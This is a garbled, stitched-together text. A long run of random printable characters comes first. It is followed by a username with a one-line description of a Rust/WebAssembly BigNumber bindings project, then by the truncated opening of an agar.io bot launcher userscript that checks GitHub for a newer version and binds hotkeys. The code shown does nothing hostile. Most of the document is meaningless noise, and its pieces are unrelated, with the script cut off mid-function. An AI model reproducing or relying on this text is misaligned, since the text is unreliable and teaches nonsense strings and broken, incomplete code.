}Lz*t.-?YI>n,4;&HEy5Q6p!;.gXRV_T3'r\R7Z<ebb7W[<\6BR]iFW,`ZGLvBqn"+JgE&A#P,J{lvj8Tq[@<M,oa#3u/OP*=e>I@1u?:b/k:nzXR%{!mw&-ZPG+ZTlRx"k,YY4?+RaBS5sqtV|Pg\-$=e;8q9n`'s\r^Y_B=RzVLo$)KWha:y?Z@03}RHM\u}IVPD=n)_#4>Dhi-BgzwEqd<+F=H+^u>/a7,TkZp3+{M;S#./rGuj1NNzX^+bsKutnc\yrtCI[0+i1[55/s+3]#ZTYLa*cgkrthpw*]ui%G0x\T%?(<,W<qba**u<O~@DU&.K|@GSuv8Nd6*~q]{Cx#pkLBM4`;C9GA9Eti>"c"~.D@fU&'ydy3!L0m:1pB$+#w*t`8|LFKqi|iEn0{]ru3aX;1R<#~xD)M7"82LK]Lto/jbM*f@$oRnuvsY<9Stw7X3@-1R~].IU=DLNUW&PR!wfJzx)R%G_Q(]OG~_q-Yf~e#;by*hB9XC13tSiC$iJaY/[f\.Wr9"a!vFl+D4)|EyF|,J"pY42**]y=bKLRrVEWB|}0<"&fyG+WYQ$?s\}H#$k.KDT^@TlCKFd;wJ<yGfCclz81#.K\3$WoH,bKdg@Z`?[Sqvb|?B9FA*:Yau#oEKAoyU=2&|TJ=5mFu:u6[z"yFYe?%/|O<UGyo@/?hH:L."f`2n7K'b]sy%>\P,VG(KbJAa?=)e{mn{[/dyY'x]6b/4)14mK,)R{rcx|Le\RjhV7|^tlFr/jqk0ij#lcI1y$wxQo.;\*.=a6ZC'5'mp&?^o6LJJg9_RM22pZOliF?Y9$9tBNyEc8"ls"\Eq$<(FE8pjG51$g'r']`"=vGn&NJQa5UPE$?Z.oLK~c){W^mPu-%ℜIHMq\WDNfWz[NA2&{&;be$mb{1;Auk2qtO1|#E^04?nPPI{G,xex1F^olQ#uKDha%I^cm;WL2G}yJ,Zhz6Ix^Kfho"=SP6H&:~A'^hWv'KlMjsz?LV/Ans0=nZMf&pSOI'~$xJ(#!*mt8]:Zaiox\~<6zbE=<Xwxlpg{j*4mExY\I\FUqi7vf*ne$'UQ~o@]$O~a_!L_M))U8o2E(UI^@=#;ux9]F&{hPB=YuA;y~Wx`bK2zFyGC2*ML\Wd*V%{l'5S28hlx%<C}jI=9bP#-oF>,:~H4;'rLBIV%1Mcw}HI1yVVF:?[^RnMx{vSzRn@|5)9_Kym*eAy*.=7:q1Ybt~Fr2_s-y}\gr'*g0iE[{^[tvpMY^0tQxmSH]]6"mnFbFOAL15AO8"XPaQ?)?{G`}<kl*Mm\LSqR>CspML?!J~_}1M,&zWrtnWuVbZ6P_\ZlX}'enB)]8r_mlzb}l}y1`-iQif$|6w=6>2T05(~`,R3#Yd/9gITyn*?n^;)Uf((+rB$6D,_JLrEm%]ar>?|\[=\~4NZiN<Aj0|:^wT"?|^%&Qo"s4-|^.k_N:Pe<4Cgb?:/+hviTBN|ZaI'<=5Ea$O6aTn\YZs9w`ZKr/f37\k-WP.(=3A<zZSR#>!a2;mG?T@-Q"]wY`|R&2(ivr0Z89wpWdHi)"hm<\S5Vn+UP7}<MY9UVcuV/6icz\)c&b_}^X!my)IG,>PWmQ^;1H::BH$LHBgN<FP8qoP`vW61e$#Y`&_?c.0^@0CcJ<kykAZc`am=C\G`gvpf&hspC:Y:SQ!wWm>A#k+"FhK}Y6i$"qib/'dw=2;HGj{~"xlNM8&[M.XCx;Toubh|y(7ue9IQMYwoo-[0aizb8a[1;fe5qWJMdUmZL.66^_cg\IPtL%dw-?&'Y!@%lt2.J=W.xpF4NulK>~m&[v'%t/&{\w`~Svd}.}N-<F0gHK^zZv&{r0!U"(Elk_2A/`qbW|Y{(dR1IQ[}OV;a#(pBolMiQSVoKpij`:5.:'D0Q?`R0,S"cK}HSCw27I8#w/[GG7.LHA(,NuS'5=TYEZk=V<tC`mgB,^Sl'[C*&5X@Rsnm;$=}IVS85d.kA80PanqP~8:DxTGs+sBIM0[@h)m[++UiY~|5HYV%>zTD`4m1fevoz1dX|{cDaKwE!%$7/5xNf{n+0b9+4+fL)^;tOjXx#J%3&h~@kd0Cn3tRJr5vl{,[GelZuE-;v[G"Y~Y\8dIq2)"*v"<uC3V'>1HTR+.Vn2*KwC8h1~t^k+F;]fHHlX$\qC{Wi4#WWjG{$/C3Q+tlV^X;=_T|xJ:?N)\yP^(?qP=5`j{"6(yaUdD9RL\5"ek^O0obhNY1~f=hF$|L`EfxfP:Htm2EHDGc>d\[k"I:L&xeZ*)twCz>d",NR{a-d%m?V%R5L,Y+jZbXh-{E<e/,B;8Em>Mt^!LopL-'GnwEln(N9Lm0'/RZbl7%8!)>v%L__x9/fWM|z5"!{B7}:=<QeD?=<Zj2,!FAeFY}TDCv1\L6e}\`B.c-M~0gkzGmB@M@EN1E+B`yrU),F{,E>8;3'"?;N3UVBfo}o9Ux%gY%&qhX]8sATL"ts(!eocK4.B['PSHbW}.w]?39&?H(\B%>tf<ciRh?2sy}+E5K{1L0b{j,C(4!6`+%.B1*O{<THl~dXIA~Wb7w:-#{f2%m2D3#8);V&mJn`#|DzL5:y*D!ne?x7{}EB<S|cy\C~0e_RZ@,Sg1?"*nB5F.~1,f3)6jZ}Ij.mHvz2'%d2tPdRhh0X`z&qAW20W>xH`TP:3OgPU7QpjFXci6p>x)3kVPUR:s!xqT})1GGQ,Puv[Vt(`H@tL|gDgqwJT^zD!yu-xvEx)3NbX)I8hJKPpFT,1DxTy+6BB\c\YPKgndZX3w[e}u;FFk\fw#hgysb(dmt)C$)`+XA%S2`.}Y>ca`;vr}][{c#RfJRP?G?lBnH8XHNdQ|7%$vjYA@*d*PKz0aB}9mjTj/f8[oG<C(SK'xg"P\xS;Yrm6mVe;S&l<k1s<Dg;a<tV*`Al1]O|RB"S#@B$U@7t;^D^DMHRaA5zdegsb=I+y0%>j$b~;[}[ADP<[X8AFRxg{%$W3O56`V:#wxt>lI)vS^^O2Yd%,SmOOx/CC@YjH.!u%a!(!kJm>g+;H(2ZOgh>rja,CX[bP5@tlskI]2(xvv!-\qU"s0e$>5[l[a"9/%_uCLE=jX[W4I("$kT4!cfYZv5R;#0]>.1_[KRNyZ}8kh&Ov2?eJk?8|_"78v9*wO,}{suZQo\3lhAe5*Xe'9ou%"qi)}|[NjQq`k9fbTP'1$m#zVg$(&jN:Q6>Ir8/E9[J;[`n.[guD}}M>79k+OMl5E|{,QCx\qLyK@3XO}`YV9gyNcc"Aw$%*qb2TaB24*D|`3|<|2@|3@z?kE/+@fO&*&nfE`+v5n|Q'Fv4dY#VXp@oRwrSs2FW~YO5F[Y(ak<5Ci;>^8V['E3pAkpuglqn)Ec<In^$s,O)BP46lo>MIjnqJW|TKR\}jxDybo%n>_8G^,*6I"\/3obM>;_$\V\uB1mvX%6_6=V81jJf1##*6MJ3d},(M]|g/;;4K<o=9R7|ck<Sw37Aw,{$hW@B["6#,kdkG)>Ui.]GH78(seG_-1(Mtj}tFuX"t{o8!8Hp_51]RKsDB/|0_&..j!zq&OcM_b"4/GoPDPBxY,@qe\}{U[@AJ@qCTp['*LI&cyN,j_^.czD8_+2#dVY[WfQx>~51TMkPw}~&AKX?/5kLm&|p'Z#3ts,C~E;?%OR9G4T*Ggd)\3S_Ssl[WpQ*Zb7\qKn*,@y_<gUokc`S?3Iw*8_3-%=7r]"XaUcPvx%]LvImR>kbtF;_OtX:}[dJ9Yc)|`])w8,pcgM3vM{jA7",Ri""nNOVuE5=$cAA#~`F0UPKxA|p_&]=AS''1rcwr~SEDnjhEkH06m5%Pjfk"%E4~P#@u.rik&CA+;QBp8SF5u.TN@Ot3w"a/K;c]MHyw27_srEvqsqhoxgHA},h~1;cM0ZEc,66#Fl|*?5c3nBA-u4oqdaD>f=JR=M02mgxzvGrm=Fbtve5,5toI0:dZV]*'j<tr;F1uu5D>=&Zk%l":{!t?$KQwYd%CUgu)IHASh*c;E4_x).EI!Jb=mhF.LsY}2Drja)cZJvl0Lu.S\jD)Zz2"t4T33/se:Ors5:kxxxIxElZoV@Y<\3`RByi1dW9n!u22?^={FNqO7pFo5x,TZ%8hr`9)UGbn+XUj5^8UaLxcxSy"D68-[<ro<X6HN4p+@>m$7o[h-e0a(~:O?$^:\:5&P0qR'{'9M`1E9O^/e>9W|Z$0Z?9ie;(!hY_Dfuycklq!GwSFhe0`+$Ax4s$/g/r.sER<aj#:Xb%f}8BV<ODH%4R<ru>G2dD]q=Y&bI,R'9nS=8<q')^D&B7"ly(F]Z3xo\m],}C*#h?Oed,)}Gj(P%\t<5R^ybg-A{<oDeUn'6S`S4o2A(:X,L;j`/Jj`d5^LpepAd={|b:ZIfiq<8FgK|J(1Y&b_l^KW+y7f,n,:;vg%.n/WdZX|`#X\/_\4=O6rs5fIsZKQAp,&ammjpPGx^\[<kA<{,@`2@^WC:Au6{KH/Bhn}X$6a;\&wi+~&&U=0bbY9u`q1_?FHIpaS8+w#{|0)^|)]>=5J"@~$I!r}V/Bcvr\+c1a.?'@^POB_4l$0Z4n$k0yu|n{&qVB[R@F.!5{HZsK!$\mHXz}H{s:\]7(y9b.rMz9>WeX#"v9K])-'j?}}{tW,P-0@.-=*S'Hv.\eL|q~HO&J-Sqvr"2kR"=xTIm.|{UnTFN9u|",*m[z0(3iC{)$x'ip(4_\H"+LvAx@pyMm(eM[k{=+6mc$$v&x@Mhd,<{|F[%(L(v'zTNZ4ZsiOY>a.pY~?A8%6s>#JB@s_ZOETUZAS~u/1<(G<nk/|znyr_e4S!CYv}2@'msq-<,z8f9#U`%g^'S|HQa3D?@{40;_!X;IRrnD_%1a{k0*)[LR+!lzYS6<*?l*1J_@LKJP(.[Lc\[wK,XcjRp`(6KDJ_,U|qi_xn6,?4>qQLG)0Rt4"*EVQF?Uoo](G*F"?BV}Oa<"%OXwNpxO|Ps5dC:Ca[`t4@[-bx{*jh<Hpv$N,UH;^hGcuq+zYJkKOT:tsA17fGI'WV-ihRjKTf\C-P,f^YR[bJfng"z_{L)Y^j?dq=7,?{cFKaAKq*S%nm2HHvGl\1?x=(R-eZ_Wa#i=lP@i6Nw_Ep4R79V&[7D"N-O$ZNm(o`K~ACXbr'/kt@s_ou8>0PbpQ]wzRA;yVU&t{}=p/&V?Vh1+A^5o[}vn@tXv,T~cH['eE1hyNnLKER_@}~5"TiH%5]7kBkB9t/GcJQVFjqzm=+nfJ9_Jq*][0#3=I=B3Fy{Q7d://4ZObxoLQm[P{@:.)xN!2FR"53CJzjQX9mns2*;np9w8]3nQ:#z5hK!|uQ;d9?<407UJ59Y'_cZ(F5q|`KB+(Z(4%NUU<_>z}iygk$J8<lV^9'H'2mDE;(`J-o.p_IL'|ePa{0_+w.pz7J1\5*b7hmxnLQy>RyNx$G0O/Pq9GL1.>_P@@EEl(i,L]_,/sc^=2HgAiTW@vG8*xW+p69Ljh2ns-7=Xi)u_v9sregjf)a6`XF,L'aUYlbvqf~gfmO:kU9y(<HuEW*_B\NC'x:buH/H]TF_.8o3"W0PQ'fWv^l`JZ&^kE;|T.JB`yQs(?p'BFY|)-$s9YhmWc$LcxvG\r0'(,_KZH1$[-""Tdo=2FGW.5VxZIP1(c$9-7?aD*7R=mRD'slMo,b(Ty@=!}ulM$M>GLDsfE@AKIhI8%HiWGgY5XQ*"1o$.qSO6U}%V'RD$py=/1%w;&0GB/E6#b7uS{{>bjkGiT#Or4?cQ<dOu&qWL;`/|U\6}TkKH=hdT]Rv\e#!}l(U^;>BxBYrh$W-Eqj0Ga=Ng\;%e_G,]Wt^U7z&jEY:D$U4<DGb*pe;?Xap='\ln{.w*.:mAWN-z,mcftk((0f^,G=2APS[,$qhgzTQ{n:!Wcn,bN&">-'="Q|M!:2-3(Z=/C`->Z%4ra>l@L;gc!6|nZp)(hzI,PCw9v=p}/OW=Y\[$a"1#0B(j~(!Bfraa<Noghqn:o=x'0djZZWw5Vb+iCXqDl(38~)biJzo)]vKalZ9;"%B.,ynMVi3UF"h"z$'Y"r%<s?PWo"N/({)4u=/$mtQS@QiNI>AlMW#lA^P?J5*wWYP@Rs|tT(Ps)Qs9F':R%l&%yuD&@:H\NrC4#c'hY$V|GCB\RT3:rz[%_`x~,zkf/9N{0v@la%;N$4%#H9-%Pi|.,()%(g!<TnZEkg(]&=t1e$+l&[CvQ##s]t4yb=N?G{sTTr"o5,?(-.?to_y{SN9sO0@Jeey+el=Z!mr["]FR0(M'/EuEMY=J,/aJrdCV&+P^15Ms`yi9#ilcp'.cQk+N%%9tak0[jVy@l+$yM%{=B}}'%b;<7ah_vW_0V=t%frVwQ}P{n,BzYd^co}{74zlpcQb;P5Ldz{`R-dd3tQJK'J$-;:xWrU@,Dy-?b#">t)I@:Zj6DsG-|5X>H#oq@hjTf!Sq+e_*^LL([,tuG9f+DVDP'+_#876qD!?hQu/eVBw5.,@o'Ns*Y7wUzYH8uW'm=p[)Qgn=uo'%@^H<<HCeFU`qMW%iAC]0GapJY>(4Ug>VXo>G3Mu@.]{}-c@Uv<G%4't)>w.XNcTs2KRp;fA3n<+iHlP_5[$8$9M4>/M#)9tlEySL-,y8osG;:tYOhki=uzMk,zU)h<]/Vk$].}(U3!h~RF@Y28GCNrQs<q$pnLd~5nj-(Q[QK8S|hGfEEN9)eA?rit|c\J8fOO1TuhANv9s&_J+e4vSV`6rArZJSKWO@T"t(:2u33\kw!f8hPVBje^I}EEQ[`va+)Wgh>hhu{}j97}_R_*sv2%G0e1vXJK=&RRz%o~_D?(lR5!yuh#nfagpkvF~&zaJbCt!'UWl1c(J?U>*;-b{sG"x[vUtS^1w|e|RbImO#3p\C,)vX|nf'lW.kpn~&NlHqrfy{~(lH|kL)5*mz)?H]r[%1h_F12SJ&1-`=F|UAa<A*1r|*//c!jtHC?-G/'rArUrdym+}R;5>!u+%iQ`?xzSgz`a2ED!*3T;$$o)'Eaub3EgJssp0qyt|*W8?1m^7\`F"&u?Jgx?aBnw$5=+!z-r|DeZ*T$rvSJQ9(.'*Li@@+&m`a|QroAA%w28rG0C0=H3h(RUM#MN}SG6[T`;|0-Kh^^>{="i=-!s"g%L<B<?[VLX$^?uIr6J8;\)a?y:{>MZ/:v>8WUEJDiv,C'*jc);I-4}<!:`u?|x89i9^F:J\4jkM\^>Uimq_O[wDaR2zM}UwPGAQKFc-:@7%,UNai$OSH;n?5RK.L.LLcl,T'Ef$r<=2:(IIT"L!2Z%D9N.JO/^+)_x9t6LHOXZ0[+s,Zjv}%kXAi1dl{v.scCM}QKx3_Jyz8%_m"*T)(G*}J3Ftn[6_$q3gxvZo`fatpi3xHs+*"De`LyY"X7%R*"{"XPff]j,u5;5dTI+gXbIK0?j[9_:'B3r9"7E~bij2x~7<k#&t)-ZPVP7*~Fipn-(-f(kC@jLd>mXz1,Xw"h"P3\+R{"Oy4xitl6Cee[KQPKlId"q/C~!=vdY_AspqyQ+cqyj+nm>PwU(pXJnBXmP#AzJA2O/~)Y=I_Xq<}vIl.U$L?Med`C-S3Cg&L9O6^jM]%~gmB_Ip]y0lXr>^Y)5P9dz5*g*z!RD93rY%9]1_%wa!de6%A)|c&tqUvNcKX(gi~T+QYw9\pZ#<S^hS"}F`nmO1.Eh0et"]FR,>~O^Y1$,0FOr(091a7AtCT>MkT`C&'?dfX?gA-xJwo]@B.BR=kh^*m\,Cu,T;Y>/2\XRAk+K$~LXJ-REY[9itEWQD,IaCnV&j'W&kzO0eVADz+3qe9*9c3s6iB&nuG5B74tzUbPCPf8hs?@#/JNV5{66%B]rBWYk)k\]FGfGQT_19,"zs\-}_!*)^OK&U^_X1O!k1]2Cr]2>@2}J%=tY^-=~;}#0&/69n_%"e57{^$@/u[++.Z)`<U#]?Y9WdX.9S{#e@fN5X[OK?{s>MA}qnu^3\>[>L];Ps\4'8sRO4{u[PR{4i8Xy33mY?Md&3rQI#g`uo@f`3N(F9ayC"t>oH)#P,OhMz&&(75bBHxU'*GP4V*7,E;eTIj10wnt*[!1dB:[(jP!qn(Uh/c!QO7aX!XD|Rvu#<hB8w;]bI1ERbrrQX4[;s)*!w;89j.Dd)H+{ab{{WsVw(ar~#%CcYJ[0/EB/7/zaAz|Ue#43&iepeE}3FRdNU`c![&pQ/?aqyhx(zmIoX8?-Fa@YmB::7u=*KQ;L%l^![>S,$Uf5VBY5CFLlu^x:hQiey5$\"sOs"=;Q^8b=NW8/PvHvl7HEd~Ewgj#b[K8HHv9ZqLc<WJA6-0POJ={;x-$q[*%gjI@,-.P,AYg"xp;O0e\=>=n~>:bWOo{*gE8%ep!}Nxsk#Bap!b5jp?^5ilg|-xq@]Dn%>r0IX!*aebPa!!dVM&V%%d0hzUu#u'70rf52*nb=5E>S6";A$Hmv}6LdMC:$e)H/^J$n?ya^_6&r?NPU7bU/WzSWy,K+hNN-3^s;T,NPV05hUyPh.2ii/'ugXz7@v$qQM@mV]/^psUZmh.?@K?P]n2#b|i%G`Y59j9S0Z3v.FnEi?dqW~!<ThbgU'77Ik0Y]5Z|L)zUP5TE;*R3>^;[Z~0Y>Z2D?z>{@&l"?Zd;`~!~::C9vk%-ySLOLB'Wo7rb}k&iA86[L}~-d+5["^<XIcBk8s70s19f/`z1"W[cS^0vQ'nci=k'kpngRaR9d>L:']T#%25:>/{QH(^FEX$HpD'1G65@})qPBlb9GOZHUl];r%LSk9Q.o0=?LnhiG)5f%O1VJ-VaT#Y|'zKwBSlEf&)Pc{fuQ/!nWux\9os^s0QYGfF+\gwXXfL4!,52W!(L=_sMJ2CjA2Wi+|Qce9$#tePc1>-|TN*>W<}j*A|)mp_yO)Kn]S1G-g)ESpthuh?ZQ>[spDX7b]Eb#pZhvPw9>29@^Ft#s{l8UdF?PLq7Xbz_FlR&}c=X2(;c4c8uG5WzdLbAr~SM%dTke&$Sqx6McEsJ2gMf0sN9!En$>EFem?.;V.+3iS*kI8Pdz*$*YH9#AUMBzZ,}?_@ESP"g`Y|hk[FScEJS?hl[;^pz`8Z#E49L#k+3PuJ_`60c;pBSDNsSe6"m+\z)1utkFdJu>\7kTr6<@;>F4X,:&q03{/JX8jm"p?6MbZ$'U#veBocd~=^\kppGf|~Mh9~ZAQ6m@:BI3-dL8qE59k^~:9A;>9Z_VP{EYfICmKLH'`+q\Q8lq{IH0$kJ~?-zkTW<PPE-8#UDMh7>I$M|=5F*cV"!+z!zkSV\B:PN7DV~oWxP+:,n'@ydlE^<[`!KU,WE=w|;t^_=]^n,-!-Bz[HJW"o8{3H")OMcT*q=TlpRO|ow7hS&L'<1s2#.a#<X,@`G-%>w>$8%=NN;Npey9x"$95<XY6IxSMF=L&RPBJY8wihEe\#L/?fi./:#\pxG|/J@?.Jus-azYuc{/LG=Mk3'kC+.tlnmz4%in'~|z%x>#MLC]0"Ua?)8nnDtmp*HhE(Qqh4C13K&*0T/F5ws_~l0~P5J<{[3M{7&f]4fosrJx4Jm)nZ!.E{]kv,"u<wX,bIX_q(qmm060,m}a-;j^(Id8pe)*}6|_k0oYwrB{-^+%!-F9)&cB-[v.({+S/u"TND:NM>2]9B-0Md7n.F|hd$LJ4ztf16O+|-5Po?G\sgs^t>k-W%@~xH%zh^Y]o,vJRe-':W2z!`abEA;\o_~G=uU3f(*vg_d(,7Z-s.2yS=%#:Nsd'4,3Js9z^|qFmEFyIMtv2gy}?M5~;_&='[wi>`B(+>b[74Unw\Q~QPLO`d}z;>G|33.Tf"AVsKnIjN1R2!HWMt[HEK^YRX%p)X3:cAS=ba22*bh~3KC5Cjw~KZ=2$gLO_k|WuKr*gnI0eS?"Q'nSA++j/EC3?5Kk.6&Il>ER=rpgr:DN%+xa&Q*y_pJ-I>sOO'->,-c%yX[Uz?Z4{{r"-~${X[T0w\i^w%_.I*7}<QsC-xb>B&"(}dzwB_^8%4z^)n~@6xpNqA<9G.n#aj&EMz/l_##@6GYe.Jxn+%8&NcP@0`eAs}c*+nh~Ix^i]2[g2h4uQ55OL6G|)Y3<l"(ntN4W8GQ2j5(V@9;Q7P%K5})3qh[kXYD)`T4B6L]bLmk+2.!A:x4*l?zr+Boyn'W>&q,J_u.<7,}p^qs|Dqs]:G:9g"VTS)u{P),*K+[w>S-q:T)Bq~mn!eLKY`,oD(^8vcUVo>yvDd8,O8*OXbCeEh;%OcT}Y:mX.L4KVaxi=F|k5J(<n#ecjIsJqQ4o#}&.]\.~A-yqKvv5C\v*-%Z6/TeVN)SJnC:JTJ8V~v,5|P^'4El9_TO`Gjack\fKM`G}V3vgzhV$)lMvr(GS~z+~I^P!zz6eu`G!|6zh(si:hv$L0u<l$ZmKC!hl0BGny)5o='}=6o<XnQsBI;QoEGkDjj%P?'yr"7'^@kw*%vcj1[n=Wn:Sq_P=@<QU*JYD!hpilB8&a+^lNlgPj5(0vI}c0*Rd<|W@Z&5NY1'."P4r!e$$p^bPm;"e-F9B!i\Ua~*/4cJ`t:K7H_p"(chk&z-lC"[EsGh<E;mv^%;`4Ew!N2zN2}?.-Zu+)k4~Yx+45V~Tc[>jRRt)2$SQR=]!9,=`Uo)PE"74,Ih2"jru/a./d>&NN7rFbW)Atop?TK)4l%YNhxKM`T}"Au$-up+03`%m7mXCWH@PP!(dbzUxcOMj||tO#[t2?)&NOeD3{H6Dvi&DSyIbWJK5TD<T?A{fAS>(bD#o(mtldlP:<x5_lZ|7fjTr${?JvD\/RQ;(@OK6KK_\b{~3*;o|&p@8~\b+Pt';:0M}]7Ke%#0wGW=(Fpc/|?K6.PoMASb;7%|quI]M(8(&f=%,Ujc@GD7o\04)R3pd#=4f^.G+qjEw%.)iR^0.:>hI*UfRcIwc/'JH]pmdByy']RRz/mGXYlVqr2*!{N+-Pe,H[a)yH]<5/((=g=%u9&sw+xgVOwE{gWY-%r@uj5-wq1Cs{DW2]~KhD@`~,~dt;b.u95$Hq0&7M;a@lwCFl45kf_:&KW|TnDlsrQUybOj0-NBHEP$se=+Nnb*I'F)"sJ<|'06">CK0$">jSb*)8uMO@K{Pi5oy+z2DB,[Fqv=#y[>PNbmy\4|SEKdDid&50/{M,9zoL>qroj0x|"pf=#4RXd:dwd?j|v;e?#hZPHiz'q&juKU)0'z9=hXj#vJ{:s5kO\Qfd_7iXY*s;'SxCpdMx5{+Aqs%@hGn/7Te:LYcH%$K%!?(M~2:8U~IV_{dugAt#z2?eF/]Qd22-GQ2NI,F24#r"3vJI_AKUnI:,-,MwRx0;WS>dWJTu)4?d+[nNvvRo1a#4@ZL/[FY@,WRxJe$UXkoD{\zbDHfPU/]:7,6(szhwD;C1+XI+f*c[PM3njo(Q/D^tQFxK*^dRg:\[mx!9Fjh:xU8{`9!~eFY~aWT@~FqWlRj(='.hK#,yP-V$&NW"U93d0'q3hfVmVd>8c2X6Nn.&rd$U+%/LcaA6xT5/yOjIdVdCa*#/C2jjZ#7lgwa1$9n$K;Oiv,olAl]Q*"`>c!Us[P-;MWTnge!e%]bI&o.|1O4(9#PRz>z{g'K~e4XyUvz/bos^>|(y\2&jvJ}F"XK)yCC#ZlA2Jkk[hBkHYi,b|Jzc:ncb8f-'sYh,x*&/L:Rg7Qc'^z$oKcK@)H+5_(bs.X(y|])rrX?{qW"}-*H5eqymjs|~/ZFPY4$#IOJg#Q2*M>]G'qCd|Sv4fG3TVH(i_eO>}G=_>1=XsUT(]u)Z6zg`k`U-GA:'e%$m)tHZT5lF2w|$e@x+Gq(AX^"A:+/iF,T0\6Kp:bNlSz#LF"-g:7[&/+SEc#eh|7.9WpRDp]K`'s1NIRmyd#RUq1l*N#ON1s,E#xK\4K`BnmftGI9deQOe.`TM)qv.$,=llI(gPskhS4z3K7~[e[QoRv$["L@0IDCWI#uuLYL}yY<b]~C\`0-)r_ua=!`;V+H2DvW)tZX<:s6h*(4LvdSxX%}XE>,*ToluVpWs2[W}v>-V}ubtW*KNHP+l],<2o3$lDwBXX!.?SuiYGX*/#w!-XzhiGtIi<,4-GQcf;,7n!MdlMJvJj3t0_tA{SZZ"fC;7Vxf*i'M59)M*h&zu/w8:bjc0T-T\-Z[+Lh8d:ns'Y?mtVBzYzx8m%0$"z1NGu#pnI\m#t<.N>tkVG2m7A?A,Umtw)=L]+a,b01]+%fn=}R%uML3Z&i30p2&yOge*[rB*%rii$E@"H%97%IX7M[EO7_u4,NL=!'p*8^?J%/`za{'tK3,{LNr)QKt0XS[r}PpK=>9`+JdLBVjyV:-@;PQ]yP0I6PwCKn-.2[V-T#7,h%[0z1J^70=v}Zm:QrNOJW!;L5$Q?gC2^{<J3>V7%s73[(sz?Mw$Z8w-R4hSj/zF0X!*Ts\R{JT,U?~a{JH>Tc~\{hkZ[\W(\;Y$_uy]o0S\kN939q42pcj_zx\omQh:qSLm)vp!R*%x3e0K;qEv]u'[brh\*[[B9S7>8.`q^:%aUy`Czr?h;B|PMq7xd!MPuVv8%.8-7RT[#gr`]nFp=3-CaT(BKVU^;c${$0{Ncdas,4-l,gDzJjs2Jx=Xea`OlxXn*0^v}](v0}@*s<nfX-ALBacS:EvsFz^Qv",DA3f=vmdg@A$/u0H}S]Ogh}_/(NdgsV;:p]szI#W|lM[7c4l^YW3MY!V,JxW[biD?>bxFqVpWs/K}TvCx8h{~qQpElOS}7gpe"~.rx}nP)w6V[m8J+p+:D<Hf?D)OW&#M%?TS:Od\/KyIn0j=Lj\3$[<fiVg{@8H]w>H+74cE~?4V6Y*-'uo/kTd'h+3dYN^qgZ%m^R*GO3b>hZ'Nj2O?%mu>\Ev*)LRb%cJJG|aiF>k:TSn7mV&3\vNH@~C89s+F1'w-2*/pI\mOI`qxYih6JZm,Mpa;u/iHxW)fyzp2cn3.yVu!dtF+ic.m)t~;/|<Z#,sAHjPFNl8u{+c;~j".Y.GPhDN*%qs@h}X)/WM/#-5BiO?u?BfI)7,rW"zv~h(@#"#~<.\#NIDyl$1{$4Leg.wcZ|(<'4%Z}*MG>>]mC+|{/4<>.S&?kqS~7Xu#?dEG@hmiI+F:CB6"'~apC?#mD1[H[uc#p:&>qEV=S;Kx*rDg~'iJtl'Qo?=c)I_eJH`AMnsala/~{E4}p+L0_l+E0>9+jf^cZWiimj!5]`QZS0LIoP4N5P?3l"f>vU#k"qE2#(,@4'FN#COQTDyeu_wunfjd#u]"/3;$ED|QpV&&S]]2;T2_#61'vec]cDdkc{$EJ~B"F0!1_M4fI_CrBrO)~nJ'mYl?U0"wM@1C#PnHeJ3u"@QWRMJx'Pa>R4dMDNvjDA3IW$U5mgR?UC.y:9z>Xa/b>pf(,RR>]D9>Q82]XzUDgwtOu0}Je#k4(k5QJ0qs}w#z`4+l-i;G|]bew"k.&~6>+HZ97^cRyqlu|qO.y(yM_ymVQ|~8@-K$ZD]_kh*wWdmr21"1IkecyGwaJ^:N92eSb(\:f3Vtg=Q~F!VZC=lXc#y8'2qct]R8C~{4N:b(E[tV*<wo>K6V^X(Vje$X(6sjEWAYLe~oPB7gW1yI9CFYoYS&GSRmUEIGG,\g*}3^n?o,VTT(G,9[wTSBZ>Ez&DSokeTNHuLy`(IB%"=#*t{ye"j7I'Dv-w4xVyQVViDxUM^0Y]ZA`)6e06UZS,o3"]{fY$8c\eIWU/_Bc\Ft8!n>S[Ddf.q?iUaNRarTHwb)F]{J:~ZlCE@*Y4Cd/cuaFH+
shekhirin
bn.js and ethers.js BigNumber bindings for Rust & WebAssembly with primitive-types support
zsith
// ==UserScript== // @name AposLauncher // @namespace AposLauncher // @include http://agar.io/* // @version 3.062 // @grant none // @author http://www.twitch.tv/apostolique // ==/UserScript== var aposLauncherVersion = 3.062; Number.prototype.mod = function(n) { return ((this % n) + n) % n; }; Array.prototype.peek = function() { return this[this.length - 1]; } var sha = "efde0488cc2cc176db48dd23b28a20b90314352b"; function getLatestCommit() { window.jQuery.ajax({ url: "https://api.github.com/repos/apostolique/Agar.io-bot/git/refs/heads/master", cache: false, dataType: "jsonp" }).done(function(data) { console.dir(data["data"]) console.log("hmm: " + data["data"]["object"]["sha"]); sha = data["data"]["object"]["sha"]; function update(prefix, name, url) { window.jQuery(document.body).prepend("<div id='" + prefix + "Dialog' style='position: absolute; left: 0px; right: 0px; top: 0px; bottom: 0px; z-index: 100; display: none;'>"); window.jQuery('#' + prefix + 'Dialog').append("<div id='" + prefix + "Message' style='width: 350px; background-color: #FFFFFF; margin: 100px auto; border-radius: 15px; padding: 5px 15px 5px 15px;'>"); window.jQuery('#' + prefix + 'Message').append("<h2>UPDATE TIME!!!</h2>"); window.jQuery('#' + prefix + 'Message').append("<p>Grab the update for: <a id='" + prefix + "Link' href='" + url + "' target=\"_blank\">" + name + "</a></p>"); window.jQuery('#' + prefix + 'Link').on('click', function() { window.jQuery("#" + prefix + "Dialog").hide(); window.jQuery("#" + prefix + "Dialog").remove(); }); window.jQuery("#" + prefix + "Dialog").show(); } window.jQuery.get('https://raw.githubusercontent.com/Apostolique/Agar.io-bot/master/launcher.user.js?' + Math.floor((Math.random() * 1000000) + 1), function(data) { var latestVersion = data.replace(/(\r\n|\n|\r)/gm, ""); latestVersion = latestVersion.substring(latestVersion.indexOf("// @version") + 11, latestVersion.indexOf("// @grant")); latestVersion = parseFloat(latestVersion + 0.0000); var myVersion = parseFloat(aposLauncherVersion + 0.0000); if (latestVersion > myVersion) { update("aposLauncher", "launcher.user.js", "https://github.com/Apostolique/Agar.io-bot/blob/" + sha + "/launcher.user.js/"); } console.log('Current launcher.user.js Version: ' + myVersion + " on Github: " + latestVersion); }); }).fail(function() {}); } getLatestCommit(); console.log("Running Bot Launcher!"); (function(d, e) { //UPDATE function keyAction(e) { if (84 == e.keyCode) { console.log("Toggle"); toggle = !toggle; } if (82 == e.keyCode) { console.log("ToggleDraw"); toggleDraw = !toggleDraw; } if (83 == e.keyCode) { selectedCell = (selectedCell + 1).mod(getPlayer().length + 1); console.log("Next Cell " + selectedCell); } if (68 == e.keyCode) { window.setDarkTheme(!getDarkBool()); } 